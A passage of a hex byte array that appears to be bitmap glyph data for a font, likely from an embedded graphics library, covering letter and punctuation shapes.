0x00, 0x07, 0xC0, 0x78, 0x03, 0xFF, 0xE0, 0x00, 0x7F, 0x80, 0x00, 0x10, 0x00, 0x00, 0x38, 0x00, 0x00, 0x38, 0x00, 0x00, 0x78, 0x00, 0x00, 0x7C, 0x00, 0x00, 0x7C, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x01, 0xBF, 0x00, 0x01, 0xBF, 0x00, 0x01, 0x1F, 0x00, 0x03, 0x1F, 0x80, 0x02, 0x1F, 0x80, 0x06, 0x0F, 0xC0, 0x06, 0x0F, 0xC0, 0x04, 0x07, 0xE0, 0x0F, 0xFF, 0xE0, 0x0F, 0xFF, 0xE0, 0x18, 0x03, 0xF0, 0x18, 0x03, 0xF0, 0x30, 0x01, 0xF8, 0x30, 0x01, 0xF8, 0x70, 0x01, 0xFC, 0xFE, 0x0F, 0xFF, 0xFF, 0xFE, 0x07, 0xFF, 0xFE, 0x0F, 0xE1, 0xF8, 0x3F, 0x07, 0xC1, 0xF8, 0x3F, 0x0F, 0xC1, 0xF8, 0x7E, 0x0F, 0xC3, 0xF0, 0x7E, 0x1F, 0x87, 0xE0, 0xFC, 0x7C, 0x07, 0xFF, 0x00, 0x3F, 0xFF, 0x01, 0xF8, 0xFE, 0x0F, 0xC1, 0xF8, 0x7E, 0x0F, 0xC3, 0xF0, 0x3F, 0x1F, 0x81, 0xF8, 0xFC, 0x0F, 0xC7, 0xE0, 0x7E, 0x3F, 0x03, 0xF1, 0xF8, 0x3F, 0x0F, 0xC3, 0xF0, 0xFF, 0xFF, 0x1F, 0xFF, 0xC0, 0x00, 0x7E, 0x04, 0x07, 0xFF, 0x18, 0x1F, 0x07, 0xF0, 0x7C, 0x03, 0xE1, 0xF0, 0x03, 0xC7, 0xC0, 0x03, 0x9F, 0x80, 0x03, 0x3F, 0x00, 0x06, 0x7C, 0x00, 0x05, 0xF8, 0x00, 0x03, 0xF0, 0x00, 0x07, 0xE0, 0x00, 0x0F, 0xC0, 0x00, 0x1F, 0x80, 0x00, 0x3F, 0x00, 0x00, 0x7E, 0x00, 0x00, 0xFC, 0x00, 0x00, 0xFC, 0x00, 0x01, 0xF8, 0x00, 0x01, 0xF0, 0x00, 0x23, 0xF0, 0x00, 0xC3, 0xF0, 0x07, 0x03, 0xF0, 0x3C, 0x01, 0xFF, 0xE0, 0x00, 0xFF, 0x00, 0xFF, 0xFE, 0x00, 0x7F, 0xFF, 0x00, 0x7E, 0x1F, 0x80, 0xFC, 0x1F, 0x81, 0xF8, 0x1F, 0x83, 0xF0, 0x1F, 0x07, 0xE0, 0x3F, 0x0F, 0xC0, 0x7E, 0x1F, 0x80, 0x7E, 0x3F, 0x00, 0xFC, 0x7E, 0x01, 0xF8, 0xFC, 0x03, 0xF1, 0xF8, 0x07, 0xE3, 0xF0, 0x0F, 0xC7, 0xE0, 0x1F, 0x8F, 0xC0, 0x3F, 0x1F, 0x80, 0x7C, 0x3F, 0x01, 0xF8, 0x7E, 0x03, 0xE0, 0xFC, 0x0F, 0x81, 0xF8, 0x1F, 0x03, 0xF0, 0xFC, 0x0F, 0xFF, 0xE0, 0x7F, 0xFF, 0x00, 0xFF, 0xFF, 0xE3, 0xFF, 0xFF, 0x0F, 0xC0, 0x78, 0x7E, 0x01, 0xC3, 0xF0, 0x06, 0x1F, 0x80, 0x10, 0xFC, 0x10, 0x87, 0xE0, 0x80, 0x3F, 0x0C, 0x01, 0xF8, 0xE0, 0x0F, 0xFF, 0x00, 0x7F, 0xF8, 0x03, 0xF1, 0xC0, 0x1F, 0x86, 0x00, 0xFC, 0x10, 0x07, 0xE0, 0x80, 0x3F, 0x00, 0x09, 0xF8, 0x00, 0xCF, 0xC0, 0x0C, 0x7E, 0x00, 0x63, 0xF0, 0x0F, 0x1F, 0x81, 0xFB, 0xFF, 0xFF, 0xDF, 0xFF, 0xFC, 0xFF, 0xFF, 0xEF, 0xFF, 0xFC, 0xFC, 0x0F, 0x9F, 0x80, 0x73, 0xF0, 0x06, 0x7E, 0x00, 0x4F, 0xC1, 0x09, 0xF8, 0x20, 0x3F, 0x0C, 0x07, 0xE3, 0x80, 0xFF, 0xF0, 0x1F, 0xFE, 0x03, 0xF1, 0xC0, 0x7E, 0x18, 0x0F, 0xC1, 0x01, 0xF8, 0x20, 0x3F, 0x00, 0x07, 0xE0, 0x00, 0xFC, 0x00, 0x1F, 0x80, 0x03, 0xF0, 0x00, 0x7E, 0x00, 0x1F, 0xE0, 0x07, 0xFF, 0x00, 0x00, 0x7E, 0x02, 0x01, 0xFF, 0xE3, 0x01, 0xF0, 0x3F, 0x81, 0xF0, 0x07, 0xC1, 0xF0, 0x01, 0xE1, 0xF0, 0x00, 0x71, 0xF8, 0x00, 0x18, 0xFC, 0x00, 0x0C, 0x7C, 0x00, 0x02, 0x7E, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x1F, 0x80, 0x00, 0x0F, 0xC0, 0x00, 0x07, 0xE0, 0x00, 0x03, 0xF0, 0x0F, 0xFF, 0xF8, 0x01, 0xFE, 0x7C, 0x00, 0x7E, 0x3F, 0x00, 0x3F, 0x1F, 0x80, 0x1F, 0x87, 0xC0, 0x0F, 0xC1, 0xF0, 0x07, 0xE0, 0xFC, 0x03, 0xF0, 0x1F, 0x83, 0xF0, 0x07, 0xFF, 0xE0, 0x00, 0x7F, 0x80, 0x00, 0xFF, 0xC3, 0xFF, 0x7F, 0x81, 0xFE, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0xFF, 0xFC, 0x3F, 0xFF, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x3F, 0x00, 0xFC, 0x7F, 0x81, 0xFE, 0xFF, 0xC3, 0xFF, 0xFF, 0xEF, 0xF0, 0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x0F, 0xC1, 0xF8, 0x3F, 0x07, 0xE0, 0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x0F, 0xC1, 0xF8, 0x3F, 0x07, 0xE0, 0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x1F, 0xE7, 0xFF, 0x07, 0xFF, 0x01, 0xFE, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0xFC, 0x70, 0xFC, 0xF8, 0xFC, 0xF8, 0xF8, 0xF0, 0xF8, 0x71, 0xF0, 0x7F, 0xE0, 0x1F, 0x80, 0xFF, 0xC3, 0xFF, 0x3F, 0xC0, 0x3E, 0x0F, 0xC0, 0x1C, 0x07, 0xE0, 0x18, 0x03, 0xF0, 0x18, 0x01, 0xF8, 0x18, 0x00, 0xFC, 0x18, 0x00, 0x7E, 0x18, 0x00, 0x3F, 0x18, 0x00, 0x1F, 0x9C, 0x00, 0x0F, 0xDF, 0x00, 0x07, 0xFF, 0xC0, 0x03, 0xFF, 0xF0, 0x01, 0xF9, 0xF8, 0x00, 0xFC, 0xFE, 0x00, 0x7E, 0x3F, 0x80, 0x3F, 0x0F, 0xE0, 0x1F, 0x83, 0xF8, 0x0F, 0xC0, 0xFC, 0x07, 0xE0, 0x7F, 0x03, 0xF0, 0x1F, 0xC1, 0xF8, 0x07, 0xF1, 0xFE, 0x03, 0xFD, 0xFF, 0x8F, 0xFF, 0xFF, 0xE0, 0x03, 0xFC, 0x00, 0x0F, 0xC0, 0x00, 0x7E, 0x00, 0x03, 0xF0, 0x00, 0x1F, 0x80, 0x00, 0xFC, 0x00, 0x07, 0xE0, 0x00, 0x3F, 0x00, 0x01, 0xF8, 0x00, 0x0F, 0xC0, 0x00, 0x7E, 0x00, 0x03, 0xF0, 0x00, 0x1F, 0x80, 0x00, 0xFC, 0x00, 0x07, 0xE0, 0x01, 0x3F, 0x00, 0x19, 0xF8, 0x00, 0xCF, 0xC0, 0x0C, 0x7E, 0x00, 0x63, 0xF0, 0x0F, 0x1F, 0x81, 0xFB, 0xFF, 0xFF, 0xDF, 0xFF, 0xFE, 0xFF, 0x80, 0x03, 0xFE, 0x7F, 0x00, 0x07, 0xF8, 0x7E, 0x00, 0x0F, 0xE0, 0xFE, 0x00, 0x3F, 0xC1, 0x7C, 0x00, 0x5F, 0x82, 0xFC, 0x01, 0xBF, 0x05, 0xF8, 0x02, 0x7E, 0x09, 0xF8, 0x0C, 0xFC, 0x13, 0xF0, 0x11, 0xF8, 0x23, 0xE0, 0x23, 0xF0, 0x47, 0xE0, 0xC7, 0xE0, 0x87, 0xC1, 0x0F, 0xC1, 0x0F, 0xC6, 0x1F, 0x82, 0x0F, 0x88, 0x3F, 0x04, 0x1F, 0xB0, 0x7E, 0x08, 0x3F, 0x60, 0xFC, 0x10, 0x3E, 0x81, 0xF8, 0x20, 0x7F, 0x03, 0xF0, 0x40, 0x7C, 0x07, 0xE0, 0x80, 0xF8, 0x0F, 0xC1, 0x00, 0xE0, 0x1F, 0x82, 0x01, 0xC0, 0x3F, 0x0E, 0x03, 0x80, 0xFF, 0x7F, 0x82, 0x03, 0xFF, 0xFE, 0x00, 0xFE, 0xFE, 0x00, 0x70, 0xFE, 0x00, 0x40, 0xFE, 0x00, 0x81, 0xFC, 0x01, 0x03, 0xFC, 0x02, 0x05, 0xFC, 0x04, 0x09, 0xFC, 0x08, 0x11, 0xFC, 0x10, 0x23, 0xF8, 0x20, 0x43, 0xF8, 0x40, 0x83, 0xF8, 0x81, 0x03, 0xF9, 0x02, 0x03, 0xFA, 0x04, 0x03, 0xF4, 0x08, 0x07, 0xF8, 0x10, 0x07, 0xF0, 0x20, 0x07, 0xE0, 0x40, 0x07, 0xC0, 0x80, 0x07, 0x81, 0x00, 0x0F, 0x02, 0x00, 0x0E, 0x0E, 0x00, 0x0C, 0x7F, 0x00, 0x08, 0x00, 0x7F, 0x00, 0x01, 0xFF, 0xF0, 0x01, 0xF0, 0x7C, 0x01, 0xF0, 0x1F, 0x01, 0xF0, 0x07, 0xC1, 0xF0, 0x01, 0xF1, 0xF8, 0x00, 0xFC, 0xFC, 0x00, 0x7E, 0x7C, 0x00, 0x1F, 0x7E, 0x00, 0x0F, 0xFF, 0x00, 0x07, 0xFF, 0x80, 0x03, 0xFF, 0xC0, 0x01, 0xFF, 0xE0, 0x00, 0xFF, 0xF0, 0x00, 0x7F, 0xF8, 0x00, 0x3F, 0x7C, 0x00, 0x1F, 0x3E, 0x00, 0x1F, 0x9F, 0x80, 0x0F, 0xC7, 0xC0, 0x07, 0xC1, 0xF0, 0x07, 0xC0, 0xFC, 0x07, 0xE0, 0x3F, 0x07, 0xC0, 0x07, 0xFF, 0xC0, 0x00, 0x7F, 0x00, 0x00, 0xFF, 0xFC, 0x0F, 0xFF, 0xE0, 0xFC, 0x7E, 0x1F, 0x87, 0xE3, 0xF0, 0x7E, 0x7E, 0x0F, 0xCF, 0xC1, 0xF9, 0xF8, 0x3F, 0x3F, 0x07, 0xE7, 0xE0, 0xFC, 0xFC, 0x3F, 0x1F, 0x8F, 0xC3, 0xFF, 0xF0, 0x7F, 0xF8, 0x0F, 0xC0, 0x01, 0xF8, 0x00, 0x3F, 0x00, 0x07, 0xE0, 0x00, 0xFC, 0x00, 0x1F, 0x80, 0x03, 0xF0, 0x00, 0x7E, 0x00, 0x1F, 0xE0, 0x07, 0xFE, 0x00, 0x00, 0x7F, 0x00, 0x01, 0xFF, 0xF0, 0x01, 0xF0, 0x7C, 0x01, 0xF0, 0x1F, 0x01, 0xF0, 0x07, 0xC1, 0xF0, 0x01, 0xF1, 0xF8, 0x00, 0xFC, 0xFC, 0x00, 0x7E, 0x7C, 0x00, 0x1F, 0x7E, 0x00, 0x0F, 0xFF, 0x00, 0x07, 0xFF, 0x80, 0x03, 0xFF, 0xC0, 0x01, 0xFF, 0xE0, 0x00, 0xFF, 0xF0, 0x00, 0x7F, 0xF8, 0x00, 0x3F, 0x7C, 0x00, 0x1F, 0x3E, 0x00, 0x0F, 0x9F, 0x80, 0x0F, 0xC7, 0xC0, 0x07, 0xC1, 0xF0, 0x07, 0xC0, 0x78, 0x03, 0xC0, 0x1E, 0x07, 0xC0, 0x03, 0xFF, 0x80, 0x00, 0x7F, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x0F, 0xF0, 0x00, 0x03, 0xFE, 0x00, 0x00, 0xFF, 0xF8, 0x00, 0x0F, 0xE0, 0xFF, 0xFE, 0x00, 0xFF, 0xFF, 0x00, 0xFC, 0x3F, 0x01, 0xF8, 0x3F, 0x03, 0xF0, 0x3F, 0x07, 0xE0, 0x7E, 0x0F, 0xC0, 0xFC, 0x1F, 0x81, 0xF8, 0x3F, 0x03, 0xF0, 0x7E, 0x07, 0xC0, 0xFC, 0x1F, 0x81, 0xF8, 0x7E, 0x03, 0xFF, 0xF0, 0x07, 0xFF, 0xC0, 0x0F, 0xDF, 0xC0, 0x1F, 0x9F, 0x80, 0x3F, 0x1F, 0x80, 0x7E, 0x3F, 0x80, 0xFC, 0x3F, 0x81, 0xF8, 0x3F, 0x03, 0xF0, 0x7F, 0x07, 0xE0, 0x7F, 0x1F, 0xE0, 0x7F, 0x7F, 0xE0, 0xFF, 0x07, 0xC2, 0x1F, 0xF2, 0x3C, 0x3E, 0x70, 0x0E, 0xF0, 0x06, 0xF0, 0x06, 0xF0, 0x02, 0xF8, 0x00, 0xFE, 0x00, 0xFF, 0x80, 0x7F, 0xE0, 0x3F, 0xF8, 0x1F, 0xFC, 0x0F, 0xFE, 0x03, 0xFE, 0x00, 0xFF, 0x00, 0x3F, 0x80, 0x1F, 0xC0, 0x0F, 0xC0, 0x0F, 0xE0, 0x0E, 0xF0, 0x1E, 0xF8, 0x3C, 0x9F, 0xF8, 0x87, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x7E, 0x3F, 0x83, 0xF0, 0x7C, 0x1F, 0x81, 0xC0, 0xFC, 0x06, 0x07, 0xE0, 0x20, 0x3F, 0x00, 0x01, 0xF8, 0x00, 0x0F, 0xC0, 0x00, 0x7E, 0x00, 0x03, 0xF0, 0x00, 0x1F, 0x80, 0x00, 0xFC, 0x00, 0x07, 0xE0, 0x00, 0x3F, 0x00, 0x01, 0xF8, 0x00, 0x0F, 0xC0, 0x00, 0x7E, 0x00, 0x03, 0xF0, 0x00, 0x1F, 0x80, 0x00, 0xFC, 0x00, 0x0F, 0xF0, 0x01, 0xFF, 0xE0, 0xFF, 0xC1, 0xFD, 0xFE, 0x01, 0xC3, 0xF0, 0x02, 0x0F, 0xC0, 0x08, 0x3F, 0x00, 0x20, 0xFC, 0x00, 0x83, 0xF0, 0x02, 0x0F, 0xC0, 0x08, 0x3F, 0x00, 0x20, 0xFC, 0x00, 0x83, 0xF0, 0x02, 0x0F, 0xC0, 0x08, 0x3F, 0x00, 0x20, 0xFC, 0x00, 0x83, 0xF0, 0x02, 0x0F, 0xC0, 0x08, 0x3F, 0x00, 0x20, 0xFC, 0x00, 0x83, 0xF0, 0x02, 0x0F, 0xC0, 0x18, 0x1F, 0x80, 0x40, 0x7E, 0x03, 0x00, 0xFC, 0x18, 0x01, 0xFF, 0xC0, 0x00, 0xFC, 0x00, 0xFF, 0xF0, 0x7F, 0x3F, 0xC0, 0x1E, 0x1F, 0x80, 0x0C, 0x1F, 0x80, 0x08, 0x0F, 0xC0, 0x18, 0x0F, 0xC0, 0x18, 0x07, 0xE0, 0x10, 0x07, 0xE0, 0x30, 0x07, 0xE0, 0x20, 0x03, 0xF0, 0x60, 0x03, 0xF0, 0x60, 0x01, 0xF8, 0x40, 0x01, 0xF8, 0xC0, 0x00, 0xF8, 0x80, 0x00, 0xFC, 0x80, 0x00, 0xFD, 0x80, 0x00, 0x7F, 0x00, 0x00, 0x7F, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x0C, 0x00, 0xFF, 0xE7, 0xFF, 0x0F, 0xCF, 0xE0, 0x7F, 0x00, 0xE1, 0xF8, 0x0F, 0xC0, 0x30, 0x7E, 0x03, 0xF0, 0x0C, 0x1F, 0x80, 0x7C, 0x02, 0x03, 0xE0, 0x1F, 0x81, 0x80, 0xFC, 0x07, 0xE0, 0x60, 0x3F, 0x03, 0xF8, 0x10, 0x07, 0xC0, 0xBF, 0x0C, 0x01, 0xF8, 0x2F, 0xC3, 0x00, 0x7E, 0x19, 0xF0, 0x80, 0x0F, 0x84, 0x7C, 0x60, 0x03, 0xF3, 0x0F, 0x98, 0x00, 0xFC, 0xC3, 0xE4, 0x00, 0x1F, 0x20, 0xFB, 0x00, 0x07, 0xF8, 0x1F, 0xC0, 0x00, 0xFC, 0x07, 0xE0, 0x00, 0x3F, 0x01, 0xF8, 0x00, 0x0F, 0xC0, 0x3E, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x00, 0x78, 0x03, 0xC0, 0x00, 0x1C, 0x00, 0x70, 0x00, 0x03, 0x00, 0x18, 0x00, 0x00, 0xC0, 0x06, 0x00, 0x00, 0x20, 0x00, 0x80, 0x00, 0xFF, 0xF3, 0xFE, 0x7F, 0x80, 0x78, 0x3F, 0x80, 0x70, 0x1F, 0xC0, 0x60, 0x0F, 0xC0, 0xC0, 0x0F, 0xE1, 0x80, 0x07, 0xF1, 0x00, 0x03, 0xF3, 0x00, 0x03, 0xFE, 0x00, 0x01, 0xFC, 0x00, 0x00, 0xFC, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x7F, 0x00, 0x00, 0xFF, 0x80, 0x00, 0x9F, 0x80, 0x01, 0x8F, 0xC0, 0x03, 0x0F, 0xE0, 0x06, 0x07, 0xE0, 0x06, 0x07, 0xF0, 0x0C, 0x03, 0xF8, 0x1C, 0x03, 0xF8, 0x3C, 0x03, 0xFC, 0xFF, 0x0F, 0xFF, 0xFF, 0xF0, 0xFF, 0x7F, 0x80, 0x1E, 0x3F, 0x80, 0x1C, 0x1F, 0x80, 0x18, 0x1F, 0xC0, 0x10, 0x0F, 0xC0, 0x30, 0x07, 0xE0, 0x20, 0x07, 0xE0, 0x60, 0x03, 0xF0, 0xC0, 0x03, 0xF0, 0x80, 0x01, 0xF9, 0x80, 0x01, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x7E, 0x00, 0x00, 0xFF, 0x00, 0x01, 0xFF, 0x80, 0x7F, 0xFF, 0xF3, 0xFF, 0xFF, 0x9F, 0x01, 0xF8, 0xE0, 0x1F, 0x86, 0x01, 0xFC, 0x20, 0x0F, 0xC1, 0x00, 0xFC, 0x00, 0x07, 0xE0, 0x00, 0x7E, 0x00, 0x07, 0xE0, 0x00, 0x3F, 0x00, 0x03, 0xF0, 0x00, 0x3F, 0x80, 0x01, 0xF8, 0x00, 0x1F, 0x80, 0x01, 0xFC, 0x01, 0x0F, 0xC0, 0x18, 0xFC, 0x00, 0xC7, 0xE0, 0x06, 0x7E, 0x00, 0x77, 0xF0, 0x07, 0x3F, 0x00, 0xFB, 0xFF, 0xFF, 0xDF, 0xFF, 0xFE, 0xFF, 0xFF, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xFF, 0xFF, 0xE0, 0x1E, 0x01, 0xC0, 0x38, 0x07, 0x80, 0x70, 0x0E, 0x01, 0xC0, 0x1C, 0x03, 0x80, 0x70, 0x07, 0x00, 0xE0, 0x1C, 0x01, 0xC0, 0x38, 0x07, 0x00, 0x70, 0x0E, 0x01, 0xC0, 0x1C, 0x03, 0x80, 0x70, 0x0F, 0x00, 0xE0, 0xFF, 0xFF, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0xFF, 0xFF, 0x03, 0x80, 0x0F, 0x00, 0x1F, 0x00, 0x7E, 0x00, 0xEE, 0x03, 0x9C, 0x07, 0x1C, 0x1C, 0x38, 0x38, 0x38, 0xE0, 0x71, 0xC0, 0x77, 0x00, 0xEE, 0x00, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0xE0, 0xF0, 0x78, 0x3C, 0x0E, 0x07, 0x0F, 0xE0, 0x3F, 0xF0, 0x78, 0xF8, 0x78, 0x7C, 0x78, 0x7C, 0x38, 0x7C, 0x00, 0x7C, 0x03, 0xFC, 0x1E, 0x7C, 0x7C, 0x7C, 0xFC, 0x7C, 0xFC, 0x7C, 0xFC, 0xFC, 0xFF, 0xFD, 0x7F, 0x7F, 0x3C, 0x3C, 0xFC, 0x00, 0x1F, 0x00, 0x07, 0xC0, 0x01, 0xF0, 0x00, 0x7C, 0x00, 0x1F, 0x00, 0x07, 0xC0, 0x01, 0xF0, 0x00, 0x7C, 0xF8, 0x1F, 0x7F, 0x87, 0xE3, 0xF1, 0xF0, 0x7E, 0x7C, 0x0F, 0x9F, 0x03, 0xF7, 0xC0, 0xFD, 0xF0, 0x3F, 0x7C, 0x0F, 0xDF, 0x03, 0xF7, 0xC0, 0xFD, 0xF0, 0x3E, 0x7C, 0x1F, 0x1F, 0x8F, 0xC6, 0x7F, 0xC1, 0x07, 0xC0, 0x07, 0xC0, 0x7F, 0xC3, 0xC7, 0x9F, 0x1E, 0x78, 0x7B, 0xE1, 0xCF, 0x80, 0x3E, 0x00, 0xF8, 0x03, 0xE0, 0x0F, 0x80, 0x3F, 0x00, 0x7C, 0x00, 0xFC, 0x61, 0xFF, 0x03, 0xF0, 0x00, 0x7F, 0x00, 0x07, 0xC0, 0x01, 0xF0, 0x00, 0x7C, 0x00, 0x1F, 0x00, 0x07, 0xC0, 0x01, 0xF0, 0x00, 0x7C, 0x07, 0x9F, 0x07, 0xF7, 0xC3, 0xE3, 0xF1, 0xF8, 0x7C, 0x7C, 0x1F, 0x3F, 0x07, 0xCF, 0xC1, 0xF3, 0xF0, 0x7C, 0xFC, 0x1F, 0x3F, 0x07, 0xCF, 0xC1, 0xF1, 0xF0, 0x7C, 0x7E, 0x1F, 0x0F, 0x8F, 0xC1, 0xFD, 0xFC, 0x3E, 0x70, 0x0F, 0xC0, 0x7F, 0xC3, 0xC7, 0x1E, 0x1E, 0xF8, 0x7B, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0xF8, 0x03, 0xE0, 0x0F, 0xC0, 0x1F, 0x03, 0x7E, 0x18, 0xFF, 0xC1, 0xFE, 0x03, 0xF0, 0x0F, 0x83, 0xF8, 0xF3, 0xBE, 0xF7, 0xDC, 0xF8, 0x1F, 0x03, 0xE0, 0xFF, 0x1F, 0xE1, 0xF0, 0x3E, 0x07, 0xC0, 0xF8, 0x1F, 0x03, 0xE0, 0x7C, 0x0F, 0x81, 0xF0, 0x3E, 0x07, 0xC0, 0xF8, 0x1F, 0x07, 0xF8, 0x0F, 0xC0, 0x1F, 0xFF, 0xDF, 0x1F, 0xFF, 0x07, 0x8F, 0x83, 0xE7, 0xC1, 0xF3, 0xE0, 0xF9, 0xF0, 0x7C, 0x78, 0x3C, 0x1E, 0x3E, 0x03, 0xFC, 0x03, 0x00, 0x07, 0x00, 0x07, 0x80, 0x03, 0xFF, 0xF1, 0xFF, 0xFE, 0x7F, 0xFF, 0x8F, 0xFF, 0xF8, 0x01, 0xFC, 0x00, 0x7F, 0x00, 0x73, 0xFF, 0xF0, 0x7F, 0xC0, 0xFC, 0x00, 0x3E, 0x00, 0x1F, 0x00, 0x0F, 0x80, 0x07, 0xC0, 0x03, 0xE0, 0x01, 0xF0, 0x00, 0xF8, 0x00, 0x7C, 0x7C, 0x3E, 0xFF, 0x1F, 0xCF, 0xCF, 0x83, 0xE7, 0xC1, 0xF3, 0xE0, 0xF9, 0xF0, 0x7C, 0xF8, 0x3E, 0x7C, 0x1F, 0x3E, 0x0F, 0x9F, 0x07, 0xCF, 0x83, 0xE7, 0xC1, 0xF3, 0xE0, 0xF9, 0xF0, 0x7D, 0xFC, 0x7F, 0x39, 0xFB, 0xF7, 0xE7, 0x80, 0x00, 0x00, 0xFC, 0xF9, 0xF3, 0xE7, 0xCF, 0x9F, 0x3E, 0x7C, 0xF9, 0xF3, 0xE7, 0xCF, 0x9F, 0x7F, 0x03, 0xC0, 0xFC, 0x1F, 0x83, 0xF0, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xE0, 0x7C, 0x0F, 0x81, 0xF0, 0x3E, 0x07, 0xC0, 0xF8, 0x1F, 0x03, 0xE0, 0x7C, 0x0F, 0x81, 0xF0, 0x3E, 0x07, 0xC0, 0xF8, 0x1F, 0x03, 0xE0, 0x7D, 0xCF, 0xF9, 0xEE, 0x7C, 0xFF, 0x0F, 0x80, 0xFC, 0x00, 0x1F, 0x00, 0x07, 0xC0, 0x01, 0xF0, 0x00, 0x7C, 0x00, 0x1F, 0x00, 0x07, 0xC0, 0x01, 0xF0, 0x00, 0x7C, 0x7F, 0x9F, 0x07, 0x87, 0xC1, 0x81, 0xF0, 0xC0, 0x7C, 0x60, 0x1F, 0x30, 0x07, 0xDE, 0x01, 0xFF, 0xC0, 0x7F, 0xF0, 0x1F, 0x3E, 0x07, 0xCF, 0xC1, 0xF1, 0xF8, 0x7C, 0x3E, 0x1F, 0x07, 0xC7, 0xC1, 0xFB, 0xF9, 0xFF, 0xFC, 0xF9, 0xF3, 0xE7, 0xCF, 0x9F, 0x3E, 0x7C, 0xF9, 0xF3, 0xE7, 0xCF, 0x9F, 0x3E, 0x7C, 0xF9, 0xF3, 0xE7, 0xCF, 0x9F, 0x7F, 0xFC, 0x7C, 0x1F, 0x0F, 0xBF, 0xCF, 0xF1, 0xF8, 0xFF, 0x3F, 0x3E, 0x0F, 0x83, 0xE7, 0xC1, 0xF0, 0x7C, 0xF8, 0x3E, 0x0F, 0x9F, 0x07, 0xC1, 0xF3, 0xE0, 0xF8, 0x3E, 0x7C, 0x1F, 0x07, 0xCF, 0x83, 0xE0, 0xF9, 0xF0, 0x7C, 0x1F, 0x3E, 0x0F, 0x83, 0xE7, 0xC1, 0xF0, 0x7C, 0xF8, 0x3E, 0x0F, 0x9F, 0x07, 0xC1, 0xF7, 0xF1, 0xFC, 0x7F, 0xFC, 0x7C, 0x3E, 0xFF, 0x1F, 0xCF, 0xCF, 0x83, 0xE7, 0xC1, 0xF3, 0xE0, 0xF9, 0xF0, 0x7C, 0xF8, 0x3E, 0x7C, 0x1F, 0x3E, 0x0F, 0x9F, 0x07, 0xCF, 0x83, 0xE7, 0xC1, 0xF3, 0xE0, 0xF9, 0xF0, 0x7D, 0xFC, 0x7F, 0x07, 0xF0, 0x0F, 0xFE, 0x0F, 0x8F, 0x8F, 0x87, 0xE7, 0xC1, 0xF7, 0xE0, 0xFF, 0xF0, 0x7F, 0xF8, 0x3F, 0xFC, 0x1F, 0xFE, 0x0F, 0xFF, 0x07, 0xEF, 0x83, 0xE7, 0xC1, 0xF1, 0xF1, 0xF0, 0x7F, 0xF0, 0x0F, 0xE0, 0xFE, 0x7C, 0x07, 0xDF, 0xE0, 0xFE, 0x3E, 0x1F, 0x07, 0xE3, 0xE0, 0x7C, 0x7C, 0x0F, 0xCF, 0x81, 0xF9, 0xF0, 0x3F, 0x3E, 0x07, 0xE7, 0xC0, 0xFC, 0xF8, 0x1F, 0x9F, 0x03, 0xE3, 0xE0, 0xFC, 0x7E, 0x3F, 0x0F, 0xBF, 0xC1, 0xF3, 0xE0, 0x3E, 0x00, 0x07, 0xC0, 0x00, 0xF8, 0x00, 0x1F, 0x00, 0x03, 0xE0, 0x00, 0x7E, 0x00, 0x1F, 0xE0, 0x00, 0x07, 0xC1, 0x0F, 0xF9, 0x8F, 0xCD, 0xCF, 0xC3, 0xE7, 0xC1, 0xF7, 0xE0, 0xFB, 0xF0, 0x7D, 0xF8, 0x3E, 0xFC, 0x1F, 0x7E, 0x0F, 0xBF, 0x07, 0xDF, 0x83, 0xE7, 0xE1, 0xF1, 0xF1, 0xF8, 0x7F, 0x7C, 0x1F, 0x3E, 0x00, 0x1F, 0x00, 0x0F, 0x80, 0x07, 0xC0, 0x03, 0xE0, 0x01, 0xF0, 0x01, 0xF8, 0x01, 0xFE, 0xFC, 0x73, 0xEF, 0xDF, 0xFE, 0xFC, 0xF7, 0xC3, 0xBE, 0x01, 0xF0, 0x0F, 0x80, 0x7C, 0x03, 0xE0, 0x1F, 0x00, 0xF8, 0x07, 0xC0, 0x3E, 0x01, 